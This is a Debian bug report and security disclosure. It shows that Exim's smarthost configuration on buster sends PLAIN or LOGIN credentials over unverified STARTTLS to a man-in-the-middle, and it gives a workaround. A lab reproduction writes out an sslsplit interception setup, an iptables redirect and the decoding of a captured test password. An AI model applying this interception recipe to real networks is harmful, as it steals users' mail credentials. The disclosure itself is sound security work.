Package: exim4-config Version: 4.92-8+deb10u4 Severity: important Tags: security
Dear Maintainer, When configured using the 'smarthost' or 'satellite' configuration from exim4-config 4.92-8+deb10u4 (Debian 10 / buster), and with credentials configured in /etc/exim4/passwd.client, Exim will reveal those credentials to an active MITM (for instance, a rogue public wifi). By default, Exim is configured to use opportunistic TLS. It is also configured to not send clear-text passwords over unencrypted connections, allowing only CRAM-MD5 authentication method. On encrypted connections however (e.g. after STARTTLS succeeded), it will also allow PLAIN and LOGIN methods. For Exim, 'encrypted connection' does not imply 'certificate verification succeeded'. So an active MITM - can intercept the TCP connection from the client Exim to the smarthost, - act as an SMTP server towards the client, - offer STARTTLS, - when the client initiates STARTTLS, present any (possibly invalid) certificate, - offer only PLAIN or LOGIN authentication methods, and - require authentication before accepting mail. Wenn submitting mail to the smarthost, the client Exim will then oppertunistically make use of STARTTLS, and since the connection then counts as encrypted, will happily authenticate using PLAIN or LOGIN, thus revealing the credentials in plain to the attacker. Workaround ========== Set tls_verify_hosts = * on the remote_smtp_smarthost transport. Any encrypted connection for which certificate verification fails will be closed, and the client Exim will retry delivery on a new unencrypted connection. Starting with Debian 11 (bullseye), you can alternatively set REMOTE_SMTP_SMARTHOST_TLS_VERIFY_HOSTS = * in /etc/exim4/conf.d/main/000_localmacros, which will effectively do the same thing as above. Note: the above workaround is minimal, in practice, if you are affected, you should probably also enforce encrypted connection (not just enforce successful verification if a connection happens to be encrypted). See Bug#985244 regarding that. See also Bug#985243. Details ======= Since by default, Exim does not enforce encrypted connections (verified or unverified), there is no expectation for the content of the connection (mail envelope, headers, body) to be protected. There is however an expectation for passwords to be protected. From `/usr/share/doc/exim4-config/README.Debian.gz`, §2.3. "SMTP-AUTH": > AUTH PLAIN and AUTH LOGIN are disabled for connections which are not > protected by SSL/TLS per default. These authentication methods use cleartext > passwords, and allowing the transmission of cleartext passwords on > unencrypted connections is a security risk. Therefore, the default > configuration configures Exim not to use and/or allow AUTH PLAIN and AUTH > LOGIN over unencrypted connections. And later in §2.3.1. "Using Exim as SMTP-AUTH client": > If you need to enable AUTH PLAIN or AUTH LOGIN for unencrypted connections > because your service provider does support neither TLS encryption nor the > CRAM MD5 authentication method, you can do so by setting the > AUTH_CLIENT_ALLOW_NOTLS_PASSWORDS macro. If I'm reading this carefully, I might pick up on the fact that this does not say the encrypted connection needs to be verified for cleartext authentication methods to be allowed. But it does not say that an unverified encrypted connection is sufficient to allow them, either. Just as passing cleartext credentials over and unencrypted connection is a security risk, so is passing them over an encrypted but unverified connection. So even if I noticed that this does not make a statement as to whether this connection needs to be verified, I'd put that down to imprecise wording, and I'd still expect my credentials not to be sent in cleartext over an unverified encrypted connection. Most people however will probably just be in a hurry to configure their Exim, and just notice that thought was put into securing their passwords. And thus expect their passwords to be protected. This expectation for passwords to be protected is violated. As the configuration system was made with "opportunistic encryption is better than no encryption" in mind, certificates are not validated by default, and unverified SSL is enough for the client to try PLAIN or LOGIN auth methods. A MITM can offer any certificate, and restrict authentication to PLAIN or LOGIN methods, and the client host will happily divulge the password. How to Reproduce ================ I checked that indeed passwords are leaked to an active MITM over unverified encrypted connections using the following setup. This setup is meant to model e.g. a client Exim running on a laptop, connecting to the internet via a public wifi under the control of the attacker. I'm using three QEMU virtual machines connected via a VDE switch. - client(.example.com) is the machine with the Exim under scrutiny. - smarthost(.example.com) is used by the client to send mail - (mail.)target(.com) is used as an external system to send mail to The external target system is necessary since sending mail from client to smarthost is not considered relaying, and thus the client is not asked to authenticate. What follows is a high-level overview over the setup, further details are in the "Configuration Details" section below. Basic test setup ---------------- All systems were installed from `debian-10.4.0-amd64-netinst.iso`, updating to current Debian 10 (buster) from the debian mirrors. Various additional software was installed, as required. To be able to intercept and sniff SSL connections, sslsplit 0.5.5-1+b1 and dependencies was installed from Debian testing (bullseye), as the version in buster was unusable due to a segmentation fault. I use one dnsmasq instance on each system to provide DNS services. I provide one A record each for smarthost.example.com and mail.target.com, plus an MX record for target.com pointing to mail.target.com. The client's Exim setup is initially a standard 'smarthost' configuration with `smarthost.example.com` as the smarthost. Credentials are provided to authenticate against the smarthost. The basic configuration for the smarthost is an 'internet' configtype, with - some additions to function in the test environment, - TLS and submissions support, - support for plain, login, and cram_md5 authentication from clients, and - a password configured for the client so it can authenticate. The target system's setup is a normal internet site with hostname mail.target.com, set up to accept mail for the `target.com` domain. The certificate of the Exim server on the smarthost matches the hostname smarthost.example.com. It is signed by a CA created for the purpose of this test, which the client has been configured to trust. This setup can be used to verify basic functionality e.g. that the client is able to sent mail via the smarthost to target.com when no attack is in progress. Attack setup ------------ I verified the attack by using sslsplit to intercept connections to the smtp port on the smarthost, and by configuring the Exim on the smarthost to offer only auth-plain. sslplit was using a CA that was *not* trusted by the client, of course. Reconfiguring the legitimate Exim to only offer auth-plain has the same effect as an attacker stripping out any authentication methods other than AUTH PLAIN, but had the advantage that I did not have to write a software to actually do that. I then sent a mail from the client to [email protected], which requires relaying and thus authentication on the smarthost: ``` client> exim4 -i [email protected] <<EOF testmarker EOF ``` The mail appeared on the target host: ``` target> grep testmarker /var/mail/mail testmarker ``` On the smarthost, the smtp conversation was captured in the sslsplit logs and the password could be recovered: ``` smarthost> cat /var/log/sslsplit/20200901T122925Z-10.0.3.2,60494-10.0.3.1,25.log 220 smarthost.example.com ESMTP Exim 4.92 Tue, 01 Sep 2020 08:29:25 -0400 EHLO client.example.com 250-smarthost.example.com Hello client.example.com [10.0.3.1] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-CHUNKING 250-STARTTLS 250-PRDR 250 HELP STARTTLS 220 TLS go ahead EHLO client.example.com 250-smarthost.example.com Hello client.example.com [10.0.3.1] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-AUTH PLAIN 250-CHUNKING 250-PRDR 250 HELP AUTH PLAIN AGNsaWVudABzdXBlcnNlY3JldHBhc3N3b3Jk [...] smarthost> echo AGNsaWVudABzdXBlcnNlY3JldHBhc3N3b3Jk | base64 -d | tr '\0' : :client:supersecretpassword ``` Configuration Details ===================== Basic DNS configuration ----------------------- dnsmasq was used to provide DNS services. One instance was installed on each system and provided the following configuration in `/etc/dnsmasq.d/testconfig`: ``` address=/smarthost.example.com/$(<conf/smarthost.ip) address=/mail.target.com/$(<conf/target.ip) mx-host=target.com,mail.target.com,1 ``` Certificates ------------ To have some certificates to test with, create a CA key and cert with ``` openssl genrsa -out demo-ca.key 2048 openssl req -new -nodes -x509 \ -sha256 -out demo-ca.crt -key demo-ca.key \ -config ca_cert.cnf -extensions v3_ca \ -subj "$(cat conf/demo.subj)" \ -set_serial 0 -days 3650 ``` where the content of `ca_cert.cnf` is: ``` [ req ] distinguished_name = reqdn [ reqdn ] [ v3_ca ] basicConstraints = CA:TRUE subjectKeyIdentifier = hash authorityKeyIdentifier = keyid:always,issuer:always ``` Install this CA on the client by copying the certificate to `/usr/local/share/ca-certificates/demo-ca.crt` and running `update-ca-certificates`. For the smarthost certificate, create a key and a certificate request, then use the CA to sign that request: ``` openssl genrsa -out smarthost.key 2048 openssl req -new -nodes -out smarthost.req -key smarthost.key \ -config smarthost_cert.cnf rm -f smarthost.srl # ensure we use a random serial each time openssl x509 -req -in smarthost.req -out smarthost.crt \ -CA demo-ca.crt -CAkey demo-ca.key -CAcreateserial \ -CAserial smarthost.srl ``` where the content of `smarthost_cert.cnf` is: ``` [ req ] distinguished_name = req_distinguished_name prompt = no [ req_distinguished_name ] countryName = US commonName = smarthost.example.com ``` Client Exim Configuration ------------------------- The basic configuration for the client is exactly what you'd get through debconf-configuration with 'smarthost' configtype. `/etc/exim4/update-exim4.conf.conf`: ``` dc_eximconfig_configtype='smarthost' dc_other_hostnames='client.example.com' dc_local_interfaces='127.0.0.1 ; ::1 ; $(< conf/client.ip)' dc_readhost='' dc_relay_domains='' dc_minimaldns='false' dc_relay_nets='' dc_smarthost='smarthost.example.com' CFILEMODE='644' dc_use_split_config='true' dc_hide_mailname='false' dc_mailname_in_oh='true' dc_localdelivery='mail_spool' ``` `/etc/exim4/passwd.client`: ``` smarthost.example.com:client:$client_password ``` Smarthost Exim Configuration ---------------------------- `/etc/exim4/update-exim4.conf.conf`: ``` dc_eximconfig_configtype='internet' dc_other_hostnames='smarthost.example.com' dc_local_interfaces='127.0.0.1 ; ::1 ; $(< conf/smarthost.ip)' dc_readhost='' dc_relay_domains='example.com' dc_minimaldns='false' dc_relay_nets='' dc_smarthost='' CFILEMODE='644' dc_use_split_config='true' dc_hide_mailname='false' dc_mailname_in_oh='true' dc_localdelivery='mail_spool' ``` In `/etc/exim4/conf.d/router/200_exim4-config_primary`, the item `!10.0.3.0/24` must be prepended in front of the `ignore_target_hosts` hostlist, so Exim won't refuse to deliver mail to the target host. `/etc/exim4/exim.key`, `/etc/exim4/exim.crt`: The private key and certificate for Exim, owned by `root:Debian-exim` and with permissions `640`. TLS is enabled in `/etc/exim4/conf.d/main/000_localmacros` by adding: ``` MAIN_TLS_ENABLE = 1 ``` Support for TLS-on-connect on the `submissions` port is enabled by dropping in the file `/etc/exim4/conf.d/main/03_tls_on_connect` with content ``` tls_on_connect_ports = 465 ``` and by appending ``` SMTPLISTENEROPTIONS='-oX 25:465:587 -oP /var/run/exim4/exim.pid' ``` to `/etc/default/exim4`. Support for client authentication methods is enabled by adding the files `/etc/exim4/conf.d/auth/30-$auth-server` for `$auth` in `plain`, `login` and `cram_md5`. The contents of these files was lifted from the respective comments in `/etc/exim4/conf.d/auth/30_exim4-config_examples`. A client password is set in `/etc/exim4/passwd`: ``` client:$(mkpasswd --method=sha512crypt "$(<conf/client.pass)"):$(<conf/client.pass) ``` Target Exim Configuration ------------------------- `/etc/mailname`: ``` target.com ``` `/etc/exim4/update-exim4.conf.conf`: ``` dc_eximconfig_configtype='internet' dc_other_hostnames='target.com' dc_local_interfaces='127.0.0.1 ; ::1 ; $(< conf/target.ip)' dc_readhost='' dc_relay_domains='' dc_minimaldns='false' dc_relay_nets='' dc_smarthost='' CFILEMODE='644' dc_use_split_config='true' dc_hide_mailname='false' dc_mailname_in_oh='true' dc_localdelivery='mail_spool' ``` sslsplit configuration ---------------------- I let sslsplit run on the smarthost. In practice it could run anywhere on the route from client to smarthost, but the smarthost was a VM I already had set up so it was convenient. sslplit needs a CA to generate certificates on the fly for each connection. I created the CA the same way I created the test CA under [Certificates][] above (with the exception that the client was **not** told to trust this CA, of course): ``` openssl genrsa -out sslsplit-ca.key 2048 openssl req -new -nodes -x509 \ -sha256 -out sslsplit-ca.crt -key sslsplit-ca.key \ -config ca_cert.cnf -extensions v3_ca \ -subj "$(cat conf/sslsplit.subj)" \ -set_serial 0 -days 3650 ``` The key and certificate were installed on the smarthost as `/etc/sslsplit/ca.key` and `/etc/sslsplit/ca.crt`, respectively. `/etc/sslsplit/sslsplit.conf`: ``` CAKey /etc/sslsplit/ca.key CACert /etc/sslsplit/ca.crt ConnectLog /var/log/sslsplit-connect.log ContentLogDir /var/log/sslsplit ProxySpec autossl $(<conf/smarthost.ip) 10025 ``` Iptables rules were installed to intercept the traffic: ``` iptables -t nat -A PREROUTING -s $(<conf/client.ip) \ -p tcp --dport 25 \ -j REDIRECT --to-ports 10025 ``` A systemd service was installed as `/etc/systemd/system/sslsplit.service`: ``` [Unit] StartLimitIntervalSec=0 [Service] ExecStartPre=/usr/bin/mkdir -p /var/log/sslsplit ExecStart=/usr/bin/sslsplit -f /etc/sslsplit/sslsplit.conf # apparently sslsplit segfaults after one connection Restart=always RestartSec=0 ``` And then started: ``` systemctl start sslsplit ``` This was initially reported 2020-09-04 to [email protected]. Regards, Jorrit Fahlke. -- Package-specific info: Exim version 4.92 #5 built 13-May-2020 16:01:31 Copyright (c) University of Cambridge, 1995 - 2018 (c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2018 Berkeley DB: Berkeley DB 5.3.28: (September 9, 2013) Support for: crypteq iconv() IPv6 GnuTLS move_frozen_messages DANE DKIM DNSSEC Event OCSP PRDR SOCKS TCP_Fast_Open Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb dsearch nis nis0 passwd Authenticators: cram_md5 plaintext Routers: accept dnslookup ipliteral manualroute queryprogram redirect Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp Fixed never_users: 0 Configure owner: 0:0 Size of off_t: 8 Configuration file search path is /etc/exim4/exim4.conf:/var/lib/exim4/config.autogenerated Configuration file is /var/lib/exim4/config.autogenerated -- System Information: Debian Release: 10.8 APT prefers stable APT policy: (990, 'stable'), (500, 'stable-updates'), (500, 'stable-debug'), (1, 'testing-debug'), (1, 'experimental-debug'), (1, 'experimental'), (1, 'testing') Architecture: amd64 (x86_64) Kernel: Linux 5.10.0-0.bpo.3-amd64 (SMP w/4 CPU cores) Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE=de_DE.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) LSM: AppArmor: enabled Versions of packages exim4-config depends on: ii adduser 3.118 ii debconf [debconf-2.0] 1.5.71 exim4-config recommends no packages. exim4-config suggests no packages. -- Configuration Files: /etc/email-addresses changed [not included] /etc/exim4/conf.d/router/200_exim4-config_primary changed [not included] /etc/exim4/conf.d/transport/30_exim4-config_remote_smtp_smarthost changed [not included] /etc/exim4/passwd.client [Errno 13] Keine Berechtigung: '/etc/exim4/passwd.client' -- debconf information excluded --
signature.asc
Description: PGP signature

